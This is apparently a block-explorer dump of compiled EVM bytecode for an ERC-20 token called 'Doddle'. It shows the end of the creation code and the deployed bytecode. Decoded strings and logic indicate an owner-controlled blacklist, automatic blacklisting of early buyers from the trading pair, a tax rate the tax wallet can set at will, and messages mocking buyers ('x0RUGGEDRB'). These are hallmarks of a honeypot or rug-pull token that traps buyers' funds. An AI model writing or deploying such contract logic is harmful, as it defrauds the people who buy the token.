fffffffffffffffffff1681526020019081526020015f2054905092915050565b6114006114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612f8a565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114cc6114f5565b73ffffffffffffffffffffffffffffffffffffffff16146114eb575f80fd5b80600c8190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361156a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156190613294565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90613322565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116b29190612a1c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724906133b0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361179b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117929061343e565b60405180910390fd5b5f81116117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d4906134cc565b60405180910390fd5b5f6117e6610a33565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118545750611824610a33565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c775760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118f7575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6118ff575f80fd5b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a8575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119fb575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a4e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c7657600160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506009600a611ab69190612eb5565b62086470611ac49190612eff565b821115611bad5760025f815480929190611add906134ea565b919050555060015460025411611ba857600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611b9f9190613531565b60405180910390a35b611c75565b6001546002541015611c7457600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611c6b9190613531565b60405180910390a35b5b5b5b611cb36064611ca5600d5460105411611c9257600954611c96565b600b545b8561267590919063ffffffff16565b6126ec90919063ffffffff16565b905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d5e575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611db1575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e6b57601354821115611dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df290613594565b60405180910390fd5b60145482611e088561089f565b611e1291906135b2565b1115611e53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4a9061362f565b60405180910390fd5b60105f815480929190611e65906134ea565b91905055505b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ef357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f3757611f346064611f26600e5460105411611f1357600a54611f17565b600c545b8561267590919063ffffffff16565b6126ec90919063ffffffff16565b90505b5f611f413061089f565b9050601860159054906101000a900460ff16158015611fac575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611fc45750601860169054906101000a900460ff165b8015611fd1575060155481115b8015611fe05750600f54601054115b1561208f57601a54431115611ff7575f6019819055505b60036019541061203c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203390613697565b60405180910390fd5b6120596120548461204f84601654612735565b612735565b6123a2565b5f4790505f81111561206f5761206e4761260d565b5b60195f815480929190612081906134ea565b919050555043601a81905550505b5f82111561218e576120e78260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274d90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121859190612a1c565b60405180910390a35b6121de8360045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127aa90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061228161223583856127aa90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274d90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61232485876127aa90919063ffffffff16565b6040516123319190612a1c565b60405180910390a35050505050565b5f838311158290612387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237e91906128de565b60405180910390fd5b505f838561239591906136b5565b9050809150509392505050565b6001601860156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123d9576123d8612abd565b5b6040519080825280602002602001820160405280156124075781602001602082028036833780820191505090505b50905030815f8151811061241e5761241d612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124e69190613051565b816001815181106124fa576124f9612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125603060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125c295949392919061379f565b5f604051808303815f87803b1580156125d9575f80fd5b505af11580156125eb573d5f803e3d5ffd5b50505050505f601860156101000a81548160ff02191690831515021790555050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612671573d5f803e3d5ffd5b5050565b5f808303612685575f90506126e6565b5f82846126929190612eff565b90508284826126a19190613824565b146126e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d8906138c4565b60405180910390fd5b809150505b92915050565b5f61272d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127f3565b905092915050565b5f8183106127435781612745565b825b905092915050565b5f80828461275b91906135b2565b9050838110156127a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127979061392c565b60405180910390fd5b8091505092915050565b5f6127eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612340565b905092915050565b5f8083118290612839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283091906128de565b60405180910390fd5b505f83856128479190613824565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561288b578082015181840152602081019050612870565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128b082612854565b6128ba818561285e565b93506128ca81856020860161286e565b6128d381612896565b840191505092915050565b5f6020820190508181035f8301526128f681846128a6565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6129388261290f565b9050919050565b6129488161292e565b8114612952575f80fd5b50565b5f813590506129638161293f565b92915050565b5f819050919050565b61297b81612969565b8114612985575f80fd5b50565b5f8135905061299681612972565b92915050565b5f80604083850312156129b2576129b1612907565b5b5f6129bf85828601612955565b92505060206129d085828601612988565b9150509250929050565b5f8115159050919050565b6129ee816129da565b82525050565b5f602082019050612a075f8301846129e5565b92915050565b612a1681612969565b82525050565b5f602082019050612a2f5f830184612a0d565b92915050565b5f805f60608486031215612a4c57612a4b612907565b5b5f612a5986828701612955565b9350506020612a6a86828701612955565b9250506040612a7b86828701612988565b9150509250925092565b5f60ff82169050919050565b612a9a81612a85565b82525050565b5f602082019050612ab35f830184612a91565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612af382612896565b810181811067ffffffffffffffff82111715612b1257612b11612abd565b5b80604052505050565b5f612b246128fe565b9050612b308282612aea565b919050565b5f67ffffffffffffffff821115612b4f57612b4e612abd565b5b602082029050602081019050919050565b5f80fd5b5f612b76612b7184612b35565b612b1b565b90508083825260208201905060208402830185811115612b9957612b98612b60565b5b835b81811015612bc25780612bae8882612955565b845260208401935050602081019050612b9b565b5050509392505050565b5f82601f830112612be057612bdf612ab9565b5b8135612bf0848260208601612b64565b91505092915050565b5f60208284031215612c0e57612c0d612907565b5b5f82013567ffffffffffffffff811115612c2b57612c2a61290b565b5b612c3784828501612bcc565b91505092915050565b5f60208284031215612c5557612c54612907565b5b5f612c6284828501612955565b91505092915050565b612c748161292e565b82525050565b5f602082019050612c8d5f830184612c6b565b92915050565b5f8060408385031215612ca957612ca8612907565b5b5f612cb685828601612955565b9250506020612cc785828601612955565b9150509250929050565b5f60208284031215612ce657612ce5612907565b5b5f612cf384828501612988565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612d4057607f821691505b602082108103612d5357612d52612cfc565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612ddb57808604811115612db757612db6612d59565b5b6001851615612dc65780820291505b8081029050612dd485612d86565b9450612d9b565b94509492505050565b5f82612df35760019050612eae565b81612e00575f9050612eae565b8160018114612e165760028114612e2057612e4f565b6001915050612eae565b60ff841115612e3257612e31612d59565b5b8360020a915084821115612e4957612e48612d59565b5b50612eae565b5060208310610133831016604e8410600b8410161715612e845782820a905083811115612e7f57612e7e612d59565b5b612eae565b612e918484846001612d92565b92509050818404811115612ea857612ea7612d59565b5b81810290505b9392505050565b5f612ebf82612969565b9150612eca83612a85565b9250612ef77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612de4565b905092915050565b5f612f0982612969565b9150612f1483612969565b9250828202612f2281612969565b91508282048414831517612f3957612f38612d59565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612f7460208361285e565b9150612f7f82612f40565b602082019050919050565b5f6020820190508181035f830152612fa181612f68565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61300960178361285e565b915061301482612fd5565b602082019050919050565b5f6020820190508181035f83015261303681612ffd565b9050919050565b5f8151905061304b8161293f565b92915050565b5f6020828403121561306657613065612907565b5b5f6130738482850161303d565b91505092915050565b5f60408201905061308f5f830185612c6b565b61309c6020830184612c6b565b9392505050565b5f819050919050565b5f819050919050565b5f6130cf6130ca6130c5846130a3565b6130ac565b612969565b9050919050565b6130df816130b5565b82525050565b5f60c0820190506130f85f830189612c6b565b6131056020830188612a0d565b61311260408301876130d6565b61311f60608301866130d6565b61312c6080830185612c6b565b61313960a0830184612a0d565b979650505050505050565b5f8151905061315281612972565b92915050565b5f805f6060848603121561316f5761316e612907565b5b5f61317c86828701613144565b935050602061318d86828701613144565b925050604061319e86828701613144565b9150509250925092565b5f6040820190506131bb5f830185612c6b565b6131c86020830184612a0d565b9392505050565b6131d8816129da565b81146131e2575f80fd5b50565b5f815190506131f3816131cf565b92915050565b5f6020828403121561320e5761320d612907565b5b5f61321b848285016131e5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61327e60248361285e565b915061328982613224565b604082019050919050565b5f6020820190508181035f8301526132ab81613272565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61330c60228361285e565b9150613317826132b2565b604082019050919050565b5f6020820190508181035f83015261333981613300565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61339a60258361285e565b91506133a582613340565b604082019050919050565b5f6020820190508181035f8301526133c78161338e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61342860238361285e565b9150613433826133ce565b604082019050919050565b5f6020820190508181035f8301526134558161341c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6134b660298361285e565b91506134c18261345c565b604082019050919050565b5f6020820190508181035f8301526134e3816134aa565b9050919050565b5f6134f482612969565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361352657613525612d59565b5b600182019050919050565b5f6020820190506135445f8301846130d6565b92915050565b7f4578636565647320746865205f7831435249535059582e0000000000000000005f82015250565b5f61357e60178361285e565b91506135898261354a565b602082019050919050565b5f6020820190508181035f8301526135ab81613572565b9050919050565b5f6135bc82612969565b91506135c783612969565b92508282019050808211156135df576135de612d59565b5b92915050565b7f457863656564732074686520783052554747454452422e0000000000000000005f82015250565b5f61361960178361285e565b9150613624826135e5565b602082019050919050565b5f6020820190508181035f8301526136468161360d565b9050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61368160178361285e565b915061368c8261364d565b602082019050919050565b5f6020820190508181035f8301526136ae81613675565b9050919050565b5f6136bf82612969565b91506136ca83612969565b92508282039050818111156136e2576136e1612d59565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61371a8161292e565b82525050565b5f61372b8383613711565b60208301905092915050565b5f602082019050919050565b5f61374d826136e8565b61375781856136f2565b935061376283613702565b805f5b838110156137925781516137798882613720565b975061378483613737565b925050600181019050613765565b5085935050505092915050565b5f60a0820190506137b25f830188612a0d565b6137bf60208301876130d6565b81810360408301526137d18186613743565b90506137e06060830185612c6b565b6137ed6080830184612a0d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61382e82612969565b915061383983612969565b925082613849576138486137f7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138ae60218361285e565b91506138b982613854565b604082019050919050565b5f6020820190508181035f8301526138db816138a2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613916601b8361285e565b9150613921826138e2565b602082019050919050565b5f6020820190508181035f8301526139438161390a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d500d8a2ce79f056cf01b93f8e942e7e43b72409c8f6b324204f532629c6524764736f6c63430008170033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000006446f64646c6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006444f44444c450000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061014e575f3560e01c80634d697f8b116100b5578063beb7d6531161006e578063beb7d65314610491578063c69dd715146104a7578063c9567bf9146104bd578063d34628cc146104d3578063dd62ed3e146104fb578063ec1f3f631461053757610155565b80634d697f8b1461038557806370a08231146103af578063715018a6146103eb5780638da5cb5b1461040157806395d89b411461042b578063a9059cbb1461045557610155565b8063313ce56711610107578063313ce5671461027957806331c2d847146102a357806334f6dd95146102cb5780633a101d07146102f55780633bbac5791461031f57806345691c5c1461035b57610155565b806306fdde0314610159578063095ea7b3146101835780630faee56f146101bf57806318160ddd146101e9578063188d16441461021357806323b872dd1461023d57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d61055f565b60405161017a91906128de565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061299c565b6105ef565b6040516101b691906129f4565b60405180910390f35b3480156101ca575f80fd5b506101d361060c565b6040516101e09190612a1c565b60405180910390f35b3480156101f4575f80fd5b506101fd610612565b60405161020a9190612a1c565b60405180910390f35b34801561021e575f80fd5b50610227610635565b6040516102349190612a1c565b60405180910390f35b348015610248575f80fd5b50610263600480360381019061025e9190612a35565b61063b565b60405161027091906129f4565b60405180910390f35b348015610284575f80fd5b5061028d61070f565b60405161029a9190612aa0565b60405180910390f35b3480156102ae575f80fd5b506102c960048036038101906102c49190612bf9565b610717565b005b3480156102d6575f80fd5b506102df610835565b6040516102ec9190612a1c565b60405180910390f35b348015610300575f80fd5b5061030961083b565b6040516103169190612a1c565b60405180910390f35b34801561032a575f80fd5b5061034560048036038101906103409190612c40565b610841565b60405161035291906129f4565b60405180910390f35b348015610366575f80fd5b5061036f610893565b60405161037c9190612a1c565b60405180910390f35b348015610390575f80fd5b50610399610899565b6040516103a69190612a1c565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d09190612c40565b61089f565b6040516103e29190612a1c565b60405180910390f35b3480156103f6575f80fd5b506103ff6108e5565b005b34801561040c575f80fd5b50610415610a33565b6040516104229190612c7a565b60405180910390f35b348015610436575f80fd5b5061043f610a5a565b60405161044c91906128de565b60405180910390f35b348015610460575f80fd5b5061047b6004803603810190610476919061299c565b610aea565b60405161048891906129f4565b60405180910390f35b34801561049c575f80fd5b506104a5610b07565b005b3480156104b2575f80fd5b506104bb610c36565b005b3480156104c8575f80fd5b506104d1610ccd565b005b3480156104de575f80fd5b506104f960048036038101906104f49190612bf9565b611257565b005b348015610506575f80fd5b50610521600480360381019061051c9190612c93565b611376565b60405161052e9190612a1c565b60405180910390f35b348015610542575f80fd5b5061055d60048036038101906105589190612cd1565b6113f8565b005b60606011805461056e90612d29565b80601f016020809104026020016040519081016040528092919081815260200182805461059a90612d29565b80156105e55780601f106105bc576101008083540402835291602001916105e5565b820191905f5260205f20905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b5f6106026105fb6114f5565b84846114fc565b6001905092915050565b60165481565b5f6009600a6106219190612eb5565b6305f5e1006106309190612eff565b905090565b60015481565b5f6106478484846116bf565b610704846106536114f5565b6106ff8560405180606001604052806028815260200161394b6028913960055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106b66114f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123409092919063ffffffff16565b6114fc565b600190509392505050565b5f6009905090565b61071f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290612f8a565b60405180910390fd5b5f5b8151811015610831575f60075f8484815181106107cd576107cc612fa8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506107ad565b5050565b60145481565b60135481565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60155481565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108ed6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097090612f8a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060128054610a6990612d29565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9590612d29565b8015610ae05780601f10610ab757610100808354040283529160200191610ae0565b820191905f5260205f20905b815481529060010190602001808311610ac357829003601f168201915b5050505050905090565b5f610afd610af66114f5565b84846116bf565b6001905092915050565b610b0f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9290612f8a565b60405180910390fd5b6009600a610ba99190612eb5565b6305f5e100610bb89190612eff565b6013819055506009600a610bcc9190612eb5565b6305f5e100610bdb9190612eff565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c109190612eb5565b6305f5e100610c1f9190612eff565b604051610c2c9190612a1c565b60405180910390a1565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c766114f5565b73ffffffffffffffffffffffffffffffffffffffff1614610c95575f80fd5b5f610c9f3061089f565b90505f811115610cb357610cb2816123a2565b5b5f4790505f811115610cc957610cc88161260d565b5b5050565b610cd56114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612f8a565b60405180910390fd5b601860149054906101000a900460ff1615610db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da89061301f565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e3030337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b610e6830610e636064610e55605f610e473361089f565b61267590919063ffffffff16565b6126ec90919063ffffffff16565b610aea565b5060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ed3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef79190613051565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa19190613051565b6040518363ffffffff1660e01b8152600401610fbe92919061307c565b6020604051808303815f875af1158015610fda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ffe9190613051565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110893060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d13061089f565b5f806110db610a33565b426040518863ffffffff1660e01b81526004016110fd969594939291906130e5565b60606040518083038185885af1158015611119573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061113e9190613158565b50505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111de9291906131a8565b6020604051808303815f875af11580156111fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061121e91906131f9565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff021916908315150217905550565b61125f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612f8a565b60405180910390fd5b5f5b815181101561137257600160075f84848151811061130e5761130d612fa8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506112ed565b5050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6114006114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612f8a565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114cc6114f5565b73ffffffffffffffffffffffffffffffffffffffff16146114eb575f80fd5b80600c8190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361156a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156190613294565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90613322565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116b29190612a1c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724906133b0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361179b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117929061343e565b60405180910390fd5b5f81116117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d4906134cc565b60405180910390fd5b5f6117e6610a33565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118545750611824610a33565b73ffffffffffffffffffffffffff